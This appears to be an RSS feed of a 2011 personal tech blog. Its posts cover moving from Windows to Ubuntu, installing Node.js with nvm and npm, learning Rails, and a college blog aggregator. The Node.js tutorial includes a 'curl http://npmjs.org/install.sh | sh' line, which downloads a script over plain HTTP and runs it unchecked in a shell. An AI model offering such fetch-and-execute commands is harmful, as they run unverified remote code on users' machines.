Be utterly fearless Back when I was in Windows, a simple partition deletion used to scare me to death. Now? I’m ready for anything. If you, like me, go play with the alpha of all your favorite stuff, then things will break. And it will be fun to solve all that stuff. You will learn a thousand new things in the process, gain lots of rep on askubuntu, and become a Ubuntu Jedi Master. OK, maybe not the last bit, but you shall become utterly fearless of all danger. I had to use my computer without network accesibility for three days. And it didn’t even give me a GUI. So I just drudged along for 3 days straight on the console. :)
Community Sometimes, I feel people do not get my helpful comments, and offerings of help on Facebook. Its not their fault. They’ve never been introduced to a proper online, helpful community before. The Linux community is helpful, worldwide, readily available, and has probably handled the problem that you are facing now.
Server Administration I’m still lacking on the cloud front, as I don’t have servers powerful enough to host virtual machines. But otherwise, I’ve handled lots of stuff. ssh is my thing, and I use git to deploy applications like a pro. I’ve moved on from apache to nginx to cherokee and what not.
Take Backups Remember all those “Take Backups before installing Windows/Ubuntu” things that popup while installing your OS. I never paid attention to them, until recently. Now, I’ve got backups scheduled on Dropbox, SpiderOak, and a custom SparkleShare server. I make sure to host my code on github, or my personal git repositories and backup images to Picasa. Everyone knows hard discs are unreliable, so why not make your data redundant and take backups.
The only counter argument would be that Windows has much more stream-lined view of things, with almost everything offering a GUI based application to amange stuff. That’s just not the Linux way. Still, I’m not one of those crazy fanatics who go around preaching Linux (maybe I am!). I feel that if you are using your computer to just open Chrome, Firefox, VLC, and Word, then anything would do. You could probably install android on your computer and do everything you are doing right now. If you are a heavy gamer, then better stay with Windows. And if you are a programmer, switch to Linux.
Windows 8
I installed a developer preview copy of Windows 8 recently, and although I was really awed by its designs concepts, I feel that it is still lacking in certain fronts. For instance, it seems to me that Microsoft is trying to get 8 to the tablets much more readily than on the desktops. Why? Because, there is nothing that can undermine Windows superior market share in Desktops for the near future. However Android & iOS have a very strong presence. Ergo, Windows 8 goes to tables.
I installed all my favorite programs on Windows 8, but had to switch back after a few days. As a developer, it just does not offer me the same freedom, and easy workflow that I am accustomed to. For instance :
Installing Ruby with build support for gems took a lot of time and patience.
Cygwin does not compare anywhere near to a bash shell. Its like this tiny humble brother of shell who turns away when you say PATH. You have to type all those monstrous C:/\ kind of paths.
No App Store. Windows 8 dev preview does not have an app store yet, which was one of the reasons I had tried Win8. I’m used to frequently browsing the Ubuntu Software Center just to find something that fits.
I found that my productivity reduced to half when I was on Windows. I spent too much time looking for stuff which could be done by a single line bash on Linux
Tags: operating systems, linux, ubuntu, windows 8, weblog ifest 2011]]></description>
            <content:encoded><![CDATA[<p>I installed Ubuntu as my primary OS back sometime in February. Not that I’d not tried it earlier. In fact, I’d used a copy of Ubuntu 3 back in day. But this time around, Windows (from my dual boot) just gave up and died. The partition with Windows got heavily corrupted, lost lots of data, and ultimately I had to format it. And Ubuntu dragged through all that. And here I’m today, a veteran of 3 Ubuntu versions, starting with 10.10, and right now on the 11.10 beta.</p>

<p>What have I learned ? That its better than Windows, for one. But several other things as well. I’m writing this post from the general linux-distro scene, and not just Ubuntu in specific. For the period before Feb, I’d been using Linux Mint as my primary OS for quite some time. But Ubuntu Natty Alpha brought all that Unity love (which I doted on once), and I had to move to 11.04</p>

<h2 id="reasons-to-switch-to-linux">Reasons to switch to Linux</h2>
<ol>
  <li>Its free!</li>
  <li>Its free! No more paying up for Windows. People who had Windows ship with their computers would be delighted to know that there is something called a Windows Refund, which allows you to be compensated by the cost of Windows, if you decide not to use it.</li>
  <li>Better file system. If you’ve ever lost yourself in the mirth of files in “Program Files”, “AppData”, “Application Data”, “sytem32” and the like, you’d be delighted to know that there is a very well balanced binary management system in Linux. All binaries are in PATH, unlike Windows, where some softwares do that, and most don’t. So you can actually run <code class="language-plaintext highlighter-rouge">php</code>, <code class="language-plaintext highlighter-rouge">git</code>, <code class="language-plaintext highlighter-rouge">ruby</code> from any damn place that you want. People who have tried to compile Java programs using <code class="language-plaintext highlighter-rouge">javac</code> on Windows might remembring updating PATH in Windows. No more of that in Linux.</li>
  <li>Free softwares! The majority of good software on Windows is paid (and even more with Mac). But in the Linux world, (almost) everything is free. What is paid for then? Some games, high level commercial softwares and the like. But most of the stuff is free.</li>
  <li><strong>Package Management</strong> Apparently Windows 8 will have some sort of app-store with it. Which is a long time coming in Windows. But guess what, almost all Linux distros have some flavor of package manager built in. Debian (and Ubuntu) has <code class="language-plaintext highlighter-rouge">apt-get</code>, Arch has <code class="language-plaintext highlighter-rouge">pacman</code>, Fedora has <code class="language-plaintext highlighter-rouge">yum</code>. And installing softwares is as easy as it could be. Need mysql? Just type <code class="language-plaintext highlighter-rouge">sudo apt-get install mysql</code>. Done. Boom. Just like that.</li>
  <li><strong>Customization Level</strong> Even though I don’t like the messing up of Gnome by Ubuntu, there are tons of alternatives available. I’m right now using Gnome-Shell, and have plans to move to <code class="language-plaintext highlighter-rouge">xmonad</code>, which is another Window Manager. Almost every feature on the Linux desktop can be customized.</li>
  <li><strong>Terminal</strong> I’d always had planned several <code class="language-plaintext highlighter-rouge">learn bash scripting</code> kind of to-dos but never got to it until I started using Linux. Even if you don’t script, the actual power of your machine is opened by the terminal. Hacking away in <code class="language-plaintext highlighter-rouge">vim</code>, and browsing sites using <code class="language-plaintext highlighter-rouge">elinks</code>, and ordering Pizzas in Command Line is as geeky as it gets. Gnome is designed in such a way to allow a normal user to use his computer fully without touching the terminal, but if you use it, it gets better &amp; better.</li>
  <li><strong>Applications</strong> There was a time I used to be a Windows fanatic, using WMP, Zune, Everything and what not. But now, I’ve got a bigger arsenal of softwares. Ever used <em>Audacious</em>? That’s my default music player, and its awesome.</li>
  <li><strong>Software Development</strong> You use Windows to develop stuff for Windows. I’m nowhere near to writing applications in C#. I’ll probably be hacking away scripts in ruby, node, python, bash, and building stuff using xul, gtk, webgtk, and qt. All my web applications are ultimately deployed on Linux machines, so it makes sense to write them on Linux. And only Linux has the ease of language package managers, like rubygems, npm, and pip.</li>
  <li><strong>Open Source</strong> I haven’t yet checked out the Linux Kernel source code, but I’m thinking of getting my hands dirty real soon. Ever since I’ve joined github, I’ve been introduced to several awesome coders, projects, and organizations. And guess what? Its all open source! Meaning I actually spend less time writing parsers for xml, and more time working on applications.</li>
</ol>

<h2 id="what-ive-learned">What I’ve Learned</h2>
<ol>
  <li><strong>Be utterly fearless</strong> Back when I was in Windows, a simple partition deletion used to scare me to death. Now? I’m ready for anything. If you, like me, go play with the alpha of all your favorite stuff, then things will break. And it will be fun to solve all that stuff. You will learn a thousand new things in the process, gain lots of rep on askubuntu, and become a Ubuntu Jedi Master. OK, maybe not the last bit, but <em>you shall become utterly fearless</em> of all danger. I had to use my computer without network accesibility for three days. And it didn’t even give me a GUI. So I just drudged along for 3 days straight on the console. :)</li>
  <li><strong>Community</strong> Sometimes, I feel people do not get my helpful comments, and offerings of help on Facebook. Its not their fault. They’ve never been introduced to a proper online, helpful community before. The Linux community is helpful, worldwide, readily available, and has probably handled the problem that you are facing now.</li>
  <li><strong>Server Administration</strong> I’m still lacking on the cloud front, as I don’t have servers powerful enough to host virtual machines. But otherwise, I’ve handled lots of stuff. <code class="language-plaintext highlighter-rouge">ssh</code> is my thing, and I use <code class="language-plaintext highlighter-rouge">git</code> to deploy applications like a pro. I’ve moved on from <code class="language-plaintext highlighter-rouge">apache</code> to <code class="language-plaintext highlighter-rouge">nginx</code> to <code class="language-plaintext highlighter-rouge">cherokee</code> and what not.</li>
  <li><strong>Take Backups</strong> Remember all those “Take Backups before installing Windows/Ubuntu” things that popup while installing your OS. I never paid attention to them, until recently. Now, I’ve got backups scheduled on <code class="language-plaintext highlighter-rouge">Dropbox</code>, <code class="language-plaintext highlighter-rouge">SpiderOak</code>, and a custom <code class="language-plaintext highlighter-rouge">SparkleShare</code> server. I make sure to host my code on github, or my personal git repositories and backup images to Picasa. Everyone knows hard discs are unreliable, so why not make your data redundant and take backups.</li>
</ol>

<p>The only counter argument would be that Windows has much more stream-lined view of things, with almost everything offering a GUI based application to amange stuff. That’s just not the Linux way. Still, I’m not one of those crazy fanatics who go around preaching Linux (maybe I am!). I feel that if you are using your computer to just open Chrome, Firefox, VLC, and Word, then anything would do. You could probably install android on your computer and do everything you are doing right now. If you are a heavy gamer, then better stay with Windows. And if you are a programmer, switch to Linux.</p>

<h2 id="windows-8">Windows 8</h2>
<p>I installed a developer preview copy of Windows 8 recently, and although I was really awed by its designs concepts, I feel that it is still lacking in certain fronts. For instance, it seems to me that Microsoft is trying to get 8 to the tablets much more readily than on the desktops. Why? Because, there is nothing that can undermine Windows superior market share in Desktops for the near future. However Android &amp; iOS have a very strong presence. Ergo, Windows 8 goes to tables.</p>

<p>I installed all my favorite programs on Windows 8, but had to switch back after a few days. As a developer, it just does not offer me the same freedom, and easy workflow that I am accustomed to. For instance :</p>

<ul>
  <li>Installing Ruby with build support for gems took a lot of time and patience.</li>
  <li>Cygwin does not compare anywhere near to a bash shell. Its like this tiny humble brother of shell who turns away when you say PATH. You have to type all those monstrous <code class="language-plaintext highlighter-rouge">C:/\</code> kind of paths.</li>
  <li>No App Store. Windows 8 dev preview does not have an app store yet, which was one of the reasons I had tried Win8. I’m used to frequently browsing the Ubuntu Software Center just to find something that fits.</li>
  <li>I found that my productivity reduced to half when I was on Windows. I spent too much time looking for stuff which could be done by a single line bash on Linux</li>
</ul>

<p>Tags: operating systems, linux, ubuntu, windows 8, weblog ifest 2011</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Programming in Node.JS]]></title>
            <link>https://captnemo.in/blog/2011/09/12/programming-in-nodejs/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/09/12/programming-in-nodejs/</guid>
            <pubDate>Mon, 12 Sep 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[After my attempts at python, Ruby on Rails, this was the time for node.js. You ask me what is node.js ? Remember when Google Chrome came out and went blazing past the rest of the browsers in Javascript benchmarks. That was because of its internal Javascript Engine, called V8.
Soon, V8 was developed as a backend to an evented IO library, that is now known as node.js. Initially, it was named just node, but to prevent confusion, and explain its javascript inheritance, it was renamed node.js. This is the water-cooler moment of the language. If you know node, you’re the cool guy on the block. So what is so special in node ?
Evented IO
Basically node allows you bring home the same good anonymous functions from JQuery on your server. In advanced terms, node allows evented input/output, meaning all the IO calls are non-blocking and evented, or scheduled in parallel.
Traditional I/O:
Evented I/O:
How To Install
The official installation guide is present at https://github.com/joyent/node/wiki/Installation. I’d present a slightly different version, using nvm, i.e Node Version Manager.
Unix/Linux
Dependencies
There are some dependencies on installing node.
sudo apt-get install git-core build-essentials libssl-dev
Run the corresponding command for your distro (yum etc).
Installing nvm
Clone nvm:
git clone https://github.com/creationix/nvm.git ~/.nvm
Include nvm:
. ~/.nvm/nvm.sh //The dot is important
Source it to your bash file. Basically copy the above command(2) inside your ~/.bashrc.
Fetching node
Node is under heavy development at the moment. Development of node is carried across a stable & a testing branch. The stable branch is the one that you should prefer. As of now, stable is v0.4.11 and testing has reached v0.5.6.
Now run the following commands:
nvm install v0.4.11 to install v0.4.11
nvm use v0.4.11
nvm alias default v.04.11 to make it default
You can type which node to see the actual node binaries being used.
Package Methods
I would strongly advice against using your distro versions of node, unless you are on a rolling release distro, such as Arch. Please do not run sudo apt-get install node to install node. This would only cause much anguish and pain later on.
As of now, even the beta of Ubuntu 11.10 holds v0.4.9 and is likely to do so for the next 6 months.
Windows
As I’ve stopped using Windows for quite some time, here are instructions from the official node installation guide.
Windows Build (Node v0.5.5): http://nodejs.org/dist/v0.5.5/node.exe
I would again recommend to install http://nodejs.org/dist/v0.4.11/node.exe for stability reasons.
Self-contained binaries are available at http://node-js.prcn.co.cc
Node Package Manager
All cool programming languages come with their own package managers. Ruby has rubygems, Python has pip, PHP has PECL, perl has CPAN, and node has npm.
npm holds a large collection of packages that are the extra batteries that don’t come included in node. If you need to parse documents, or do some other fancy stuff in node, don’t look farther than npm. If you need it, chances are, it already has a package in npm. See list of packages on the npm site.
Unix
A simple one line install is available for npm
curl http://npmjs.org/install.sh | sh
After that, you can install any package by npm install package. For instance, install jade by npm install jade
Windows folks can clone the npm repository and run the included nmp.bat file, and hope that it works.
Simple Servers in Node
node.js comes with “batteries included”, and part of that battery is node’s ability to instantly create web servers. Yes, right inside your program, you can easily create web servers, which will hold full compliance to HTTP.
This is a very simple HTTP server, written using the http module(included) in node :
var http=require('http');
http.createServer(function(request, response) {
  var headers = { "Content-Type": "text/plain" };
  response.sendHeader(200, headers);
  response.sendBody("Hello, World!\n");
  response.finish();
}).listen(8000);

As you can see, the createServer function takes a callback function as its argument. The callback function is called for each of the requests. All events are handled easily and instead of a server handling threads, memory etc, node just handles requests. In essence, a request generates an event, which is then handled by the callback function provided.
This is quite similar to the way we program event loops in javascript on the browser.
The good stuff
There are loads of interesting projects using node. Visit the modules section on the node wiki for a list of interesting node modules available. These include node clients for various libraries such as Databases(mysql, postgre, sqlite, Cassandra etc), Microframeworks (lik Sinatra), Frameworks, wikis, CMS, parsers and what not.
I’d recommend starting out with Connect which is a middleware for node, and allows you to wrap your application easily around it. For databases, you can either go with the standard Relational ones(like mysql) or be brave, and take a spin with the noSQL ones like CouchDB, Cassandra, or MongoDB. All of them have native bindings available for node.js.
References
Node On GitHub, including the wiki, documentation & code
Nodejs.org
Blogs & Other resources
NodeJitsu, a company working completely on node. 
Getting Started with Node.JS, Express and CouchDB
6 Must Have Node.js Modules
Some cool node projects
HowToNode
The node Beginner book
NodeCasts
StackOverflow Questions on node
How to store Node.js deployment settings/configuration files?
How do I get started with NodeJS
What is node.js
Where to host node.js applications]]></description>
            <content:encoded><![CDATA[<p>After my attempts at <a href="http://captnemo.in/blog/2011/05/16/learning-python">python</a>, <a href="https://rubyonrails.org">Ruby on Rails</a>, this was the time for node.js. You ask me what is node.js ? Remember when Google Chrome came out and went <a href="http://stackoverflow.com/questions/40994/is-google-chromes-v8-engine-really-that-good">blazing past the rest of the browsers</a> in Javascript benchmarks. That was because of its internal Javascript Engine, called <a href="http://code.google.com/p/v8/">V8</a>.</p>

<p>Soon, V8 was developed as a backend to an evented IO library, that is now known as <a href="http://nodejs.org">node.js</a>. Initially, it was named just node, but to prevent confusion, and explain its javascript inheritance, it was renamed node.js. This is the water-cooler moment of the language. If you know node, you’re the cool guy on the block. So what is so special in node ?</p>

<h2 id="evented-io">Evented IO</h2>

<p>Basically node allows you bring home the same good anonymous functions from <a href="http://jquery.org">JQuery</a> on your server. In advanced terms, node allows evented input/output, meaning all the IO calls are non-blocking and evented, or scheduled in parallel.</p>

<h3 id="traditional-io">Traditional I/O:</h3>
<pre class="prettyprint">
data = file.read("/foo/bar");
  // wait...
  doSomething(data);
</pre>

<h3 id="evented-io-1">Evented I/O:</h3>
<pre class="prettyprint">
file.read("/foo/bar", function(data) {
  // called after data is read
  doSomething(data);
});
otherThing(); // execute immediately;
</pre>

<h2 id="how-to-install">How To Install</h2>

<p>The official installation guide is present at <a href="https://github.com/joyent/node/wiki/Installation">https://github.com/joyent/node/wiki/Installation</a>. I’d present a slightly different version, using <code class="language-plaintext highlighter-rouge">nvm</code>, i.e <a href="https://github.com/creationix/nvm">Node Version Manager</a>.</p>

<h3 id="unixlinux">Unix/Linux</h3>

<h4 id="dependencies">Dependencies</h4>
<p>There are some dependencies on installing node.</p>

<p><code class="language-plaintext highlighter-rouge">sudo apt-get install git-core build-essentials libssl-dev</code></p>

<p>Run the corresponding command for your distro (yum etc).</p>

<h4 id="installing-nvm">Installing nvm</h4>

<ol>
  <li>Clone nvm:
<code class="language-plaintext highlighter-rouge">git clone https://github.com/creationix/nvm.git ~/.nvm</code></li>
  <li>Include nvm:
<code class="language-plaintext highlighter-rouge">. ~/.nvm/nvm.sh</code> //The dot is important</li>
  <li>Source it to your bash file. Basically copy the above command(2) inside your ~/.bashrc.</li>
</ol>

<h4 id="fetching-node">Fetching node</h4>
<p>Node is under heavy development at the moment. Development of node is carried across a stable &amp; a testing branch. The stable branch is the one that you should prefer. As of now, <code class="language-plaintext highlighter-rouge">stable</code> is <code class="language-plaintext highlighter-rouge">v0.4.11</code> and testing has reached <code class="language-plaintext highlighter-rouge">v0.5.6</code>.</p>

<p>Now run the following commands:
<code class="language-plaintext highlighter-rouge">nvm install v0.4.11</code> to install v0.4.11
<code class="language-plaintext highlighter-rouge">nvm use v0.4.11</code>
<code class="language-plaintext highlighter-rouge">nvm alias default v.04.11</code> to make it default</p>

<p>You can type <code class="language-plaintext highlighter-rouge">which node</code> to see the actual node binaries being used.</p>

<h4 id="package-methods">Package Methods</h4>
<p>I would strongly advice against using your distro versions of node, unless you are on a rolling release distro, such as Arch. Please do not run <code class="language-plaintext highlighter-rouge">sudo apt-get install node</code> to install node. This would only cause much anguish and pain later on.</p>

<p>As of now, even the beta of Ubuntu 11.10 holds <code class="language-plaintext highlighter-rouge">v0.4.9</code> and is likely to do so for the next 6 months.</p>

<h3 id="windows">Windows</h3>
<p>As I’ve stopped using Windows for quite some time, here are instructions from the official node installation guide.</p>

<p><strong>Windows Build (Node v0.5.5)</strong>: <a href="http://nodejs.org/dist/v0.5.5/node.exe">http://nodejs.org/dist/v0.5.5/node.exe</a>
I would again recommend to install <a href="http://nodejs.org/dist/v0.4.11/node.exe">http://nodejs.org/dist/v0.4.11/node.exe</a> for stability reasons.</p>

<p>Self-contained binaries are available at <a href="http://node-js.prcn.co.cc">http://node-js.prcn.co.cc</a></p>

<h3 id="node-package-manager">Node Package Manager</h3>
<p>All cool programming languages come with their own package managers. Ruby has <a href="https://rubygems.org">rubygems</a>, Python has pip, PHP has PECL, perl has CPAN, and <code class="language-plaintext highlighter-rouge">node</code> has <a href="https://github.com/isaacs/npm">npm</a>.</p>

<p><code class="language-plaintext highlighter-rouge">npm</code> holds a large collection of packages that are the extra batteries that don’t come included in node. If you need to parse documents, or do some other fancy stuff in node, don’t look farther than npm. If you need it, chances are, it already has a package in npm. See <a href="https://www.npmjs.com/">list of packages</a> on the npm site.</p>

<h4 id="unix">Unix</h4>

<p>A simple one line install is available for <code class="language-plaintext highlighter-rouge">npm</code></p>

<p><code class="language-plaintext highlighter-rouge">curl http://npmjs.org/install.sh | sh</code></p>

<p>After that, you can install any package by <code class="language-plaintext highlighter-rouge">npm install package</code>. For instance, install jade by <code class="language-plaintext highlighter-rouge">npm install jade</code></p>

<p>Windows folks can clone the <a href="https://github.com/isaacs/npm">npm repository</a> and run the included <code class="language-plaintext highlighter-rouge">nmp.bat</code> file, and hope that it works.</p>

<h2 id="simple-servers-in-node">Simple Servers in Node</h2>

<p>node.js comes with “batteries included”, and part of that battery is node’s ability to instantly create web servers. Yes, right inside your program, you can easily create web servers, which will hold full compliance to HTTP.</p>

<p>This is a very simple HTTP server, written using the http module(included) in node :</p>

<pre class="prettyprint">var http=require('http');
http.createServer(function(request, response) {
  var headers = { "Content-Type": "text/plain" };
  response.sendHeader(200, headers);
  response.sendBody("Hello, World!\n");
  response.finish();
}).listen(8000);
</pre>
<p>As you can see, the createServer function takes a callback function as its argument. The callback function is called for each of the requests. All events are handled easily and instead of a server handling threads, memory etc, node just handles requests. In essence, a request generates an <em>event</em>, which is then handled by the callback function provided.</p>

<p>This is quite similar to the way we program event loops in javascript on the browser.</p>

<h2 id="the-good-stuff">The good stuff</h2>
<p>There are loads of interesting projects using node. Visit the <a href="https://github.com/joyent/node/wiki/modules">modules section</a> on the node wiki for a list of interesting node modules available. These include node clients for various libraries such as <a href="https://github.com/joyent/node/wiki/modules#wiki-database">Databases</a>(mysql, postgre, sqlite, Cassandra etc), Microframeworks (lik Sinatra), Frameworks, wikis, CMS, parsers and what not.</p>

<p>I’d recommend starting out with <a href="https://github.com/senchalabs/Connect">Connect</a> which is a middleware for node, and allows you to wrap your application easily around it. For databases, you can either go with the standard Relational ones(like mysql) or be brave, and take a spin with the noSQL ones like CouchDB, Cassandra, or MongoDB. All of them have native bindings available for node.js.</p>

<h2 id="references">References</h2>
<ul>
  <li><a href="https://github.com/joyent/node/">Node On GitHub</a>, including the wiki, documentation &amp; code</li>
  <li><a href="http://nodejs.org/">Nodejs.org</a></li>
</ul>

<h2 id="blogs--other-resources">Blogs &amp; Other resources</h2>
<ul>
  <li><a href="http://blog.nodejitsu.com/">NodeJitsu</a>, a company working completely on node. <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
  <li><a href="http://www.bytemuse.com/2011/06/getting-started-with-node-js-express-and-couchdb/">Getting Started with Node.JS, Express and CouchDB</a></li>
  <li><a href="http://blog.nodejitsu.com/6-must-have-nodejs-modules">6 Must Have Node.js Modules</a></li>
  <li><a href="http://addyosmani.com/blog/spotlight-issue1/">Some cool node projects</a></li>
  <li><a href="http://howtonode.org/">HowToNode</a></li>
  <li><a href="http://nodebeginner.org/">The node Beginner book</a></li>
  <li><a href="http://nodecasts.org/">NodeCasts</a></li>
</ul>

<h2 id="stackoverflow-questions-on-node"><a href="http://stackoverflow.com">StackOverflow</a> Questions on node</h2>
<ul>
  <li><a href="http://stackoverflow.com/questions/5869216">How to store Node.js deployment settings/configuration files?</a></li>
  <li><a href="http://stackoverflow.com/questions/2353818/how-do-i-get-started-with-nodejs">How do I get started with NodeJS</a></li>
  <li><a href="http://stackoverflow.com/questions/1884724/what-is-node-js">What is node.js</a></li>
  <li><a href="http://stackoverflow.com/questions/3648993/where-can-i-host-a-node-js-app">Where to host node.js applications</a></li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Learning Ruby on Rails]]></title>
            <link>https://captnemo.in/blog/2011/08/01/learning-ruby-on-rails/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/08/01/learning-ruby-on-rails/</guid>
            <pubDate>Mon, 01 Aug 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Continuing my quest on Web Designing, I’ve started learning Ruby On Rails, which is like the most-hyped web framefork of the moment. After all, Github runs on Ruby On Rails, Redmine uses Rails, and so do Basecamp,Hulu,Scribd, and even Twitter. Even though RoR has Ruby in its name, its just a namesake.
Learning Ruby and learning Rails are entirely two different routes, and learning one only gives you a slight advantage in the other. I’m learning Rails by the excellent book, Ruby On Rails 3 Tutorial, by Michael Hartl. It covers Rails 3, which is one reason I picked it as Rails 3 is quite different from Rails 2 in comparision.
Rails in a few words would be described as a Web framework that makes writing web applications really, really easy. And I really mean that. I’ve been programming in Rails for ~2 days, and I can confortably say that it is better than any other PHP framework (viz CakePHP, CodeIgniter, Kohana) simple because it is powered by Ruby.
And the beauty of Ruby is not in its implementation, but in its elegance. Reading ruby code is lie reading seeing a visual presentation. While PHP is the paragraphed, prose version of the same stuff. Simply put, PHP allows you to do the same things, but essentialy it was not readable enough to match Ruby’s elegance.
Rails follows the MVC pattern (Model-View-Controller) for development, and uses it strictly. It has got its own conventions, but as I found out, the concept of convention over Configuration makes much more sense in Rails than it ever did in PHP. All that time I spent in the CakePHP console was nothing compared to the interactivity of the Rails Console(rails c). Starting development server(rails s) is as easy as running the production server(rails s --environment production).
Instead of writing down another beginner tutorial on Rails, I’d rather direct you to some of the excellent Rails resources :
Ruby on Rails 3 Tutorial, the book I’m reading for learning Rails. Highly recommended
RailsBrains, offline API for Rails
Rails Getting Started, Official Rails Getting Started guide
Rails@Stackoverflow]]></description>
            <content:encoded><![CDATA[<p>Continuing my quest on Web Designing, I’ve started learning <a href="http://rubyonrails.org" title="Official RoR Site">Ruby On Rails</a>, which is like <em>the</em> most-hyped web framefork of the moment. After all, <a href="https://github.com" title="GitHub">Github</a> runs on Ruby On Rails, <a href="http://redmine.org" title="A project management system with code browsing">Redmine</a> uses Rails, and so do <a href="http://basecamphq.com">Basecamp</a>,<a href="http://hulu.com">Hulu</a>,<a href="http://scribd.com">Scribd</a>, and even <a href="http://twitter.com">Twitter</a>. Even though RoR has Ruby in its name, its just a namesake.</p>

<p>Learning Ruby and learning Rails are entirely two different routes, and learning one only gives you a slight advantage in the other. I’m learning Rails by the excellent book, <a href="https://www.railstutorial.org/" title="Ruby On Rails Tutorial Book">Ruby On Rails 3 Tutorial</a>, by Michael Hartl. It covers Rails 3, which is one reason I picked it as Rails 3 is quite different from Rails 2 in comparision.</p>

<p>Rails in a few words would be described as <em>a Web framework that makes writing web applications really, really easy</em>. And I really mean that. I’ve been programming in Rails for ~2 days, and I can confortably say that it is better than any other PHP framework (viz <a href="http://cakephp.org">CakePHP</a>, <a href="http://codeigniter.com">CodeIgniter</a>, <a href="http://kohanaphp.com">Kohana</a>) simple because it is powered by Ruby.</p>

<p>And the beauty of Ruby is not in its implementation, but in its elegance. Reading ruby code is lie reading seeing a visual presentation. While PHP is the paragraphed, prose version of the same stuff. Simply put, PHP allows you to do the same things, but essentialy it was not readable enough to match Ruby’s elegance.</p>

<p>Rails follows the <a href="http://en.wikipedia.org/wiki/Model-view-controller" title="Model View Conroller">MVC pattern</a> (Model-View-Controller) for development, and uses it strictly. It has got its own conventions, but as I found out, the concept of convention over Configuration makes much more sense in Rails than it ever did in PHP. All that time I spent in the CakePHP console was nothing compared to the interactivity of the Rails Console(<code class="language-plaintext highlighter-rouge">rails c</code>). Starting development server(<code class="language-plaintext highlighter-rouge">rails s</code>) is as easy as running the production server(<code class="language-plaintext highlighter-rouge">rails s --environment production</code>).</p>

<p>Instead of writing down <em>another</em> beginner tutorial on Rails, I’d rather direct you to some of the excellent Rails resources :</p>

<ul>
  <li><a href="https://www.railstutorial.org/" title="Ruby On Rails Tutorial Book">Ruby on Rails 3 Tutorial</a>, the book I’m reading for learning Rails. Highly recommended</li>
  <li><a href="http://railsbrains.org">RailsBrains</a>, offline API for Rails</li>
  <li><a href="http://guides.rubyonrails.org/getting_started.html">Rails Getting Started</a>, Official Rails Getting Started guide</li>
  <li><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Rails@Stackoverflow</a></li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Announcing Planet IITR]]></title>
            <link>https://captnemo.in/blog/2011/07/09/announcing-planet-iitr/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/07/09/announcing-planet-iitr/</guid>
            <pubDate>Sat, 09 Jul 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Planet IIT-R is a blog collection similar to the Planet Ubuntu, Wordpress, and the likes. The basic idea is to create a single address where all blogs of IIT-R are aggregated. This way, people can easily follow happenings and blogs at IIT-Roorkee without individually following various blogs. I’ve added a few blogs to it already, including those of Divye Kapoor, Sanath Rath, Wona, Arasu and the likes.
A complete list of blogs in the planet is available at http://www.planetaki.com/iitr/subscriptions/
Update: There is also a feature in planetaki to suggest a website for the planet. Unfortunately, you need to be logged in to planetaki (ie create a planet) to suggest a site. In case you are, you can use the suggestions feature to suggest websites.
To suggest a blog to add to the list, please use the form below. You can also see the current spreadsheet here :
Loading...
You can also email me for any further queries.
http://planetaki.com
http://planetplanet.com
Spreadsheet of the form above]]></description>
            <content:encoded><![CDATA[<p><a href="http://www.planetaki.com/iitr/">Planet IIT-R</a> is a blog collection similar to the <a href="http://planet.ubuntu.com">Planet Ubuntu</a>, <a href="http://planet.wordpress.com">Wordpress</a>, and the likes. The basic idea is to create a single address where all blogs of IIT-R are aggregated. This way, people can easily follow happenings and blogs at IIT-Roorkee without individually following various blogs. I’ve added a few blogs to it already, including those of <a href="http://divye.in">Divye Kapoor</a>, Sanath Rath, <a href="http://wona.co.in">Wona</a>, Arasu and the likes.</p>

<p>A complete list of blogs in the planet is available at <a href="http://www.planetaki.com/iitr/subscriptions/">http://www.planetaki.com/iitr/subscriptions/</a></p>

<p><strong>Update</strong>: There is also a feature in planetaki to suggest a website for the planet. Unfortunately, you need to be logged in to planetaki (ie create a planet) to suggest a site. In case you are, you can use <a href="http://planetaki.com/iitr/subscriptions/suggest">the suggestions</a> feature to suggest websites.</p>

<p>To suggest a blog to add to the list, please use the form below. You can also see the current spreadsheet <a href="https://spreadsheets.google.com/spreadsheet/pub?hl=en_US&amp;hl=en_US&amp;key=0AmqzfUR1eWkldHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E&amp;single=true&amp;gid=0&amp;output=html">here</a> :</p>
<iframe src="https://spreadsheets.google.com/spreadsheet/embeddedform?formkey=dHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E6MQ" width="760" height="643" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<p>You can also <a href="https://captnemo.in/contact/">email me</a> for any further queries.<br />
Further Links :</p>

<ul>
  <li><a href="http://planetaki.com">http://planetaki.com</a></li>
  <li><a href="http://planetplanet.com">http://planetplanet.com</a></li>
  <li><a href="https://spreadsheets.google.com/spreadsheet/pub?hl=en_US&amp;hl=en_US&amp;key=0AmqzfUR1eWkldHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E&amp;single=true&amp;gid=0&amp;output=html">Spreadsheet of the form above</a></li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[What if Linus Torvalds designed Google+]]></title>
            <link>https://captnemo.in/blog/2011/07/07/linus/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/07/07/linus/</guid>
            <pubDate>Thu, 07 Jul 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Google’s announced its next big thing, Google+ to take on Facebook left people wondering if the next version would be called Google++. Inspite of all the great work that Vic Gundotra has put into Google+, it still lacks something. The creator of linux, Linus Torvalds. Google+ is as-of-now the social network for tech-geeks who are part of a field trial experiment(monkeys!) on the site. Google+ is still halfway geek, and in my imagination it would have been the ultimate geek power tool if it had been designed by Linus. Unfortunately, he is busy developing the linux kernel (10 million lines, 2% being his), and we would have to suffice with these thoughts:
Open Source : Google+ would be open sourced. Anyone could run Google+ on their own servers, and use it to create their own Social Network
Command Line : The default Google+ client would run natively on linux/unix but would be ported later to Windows using cygwin.
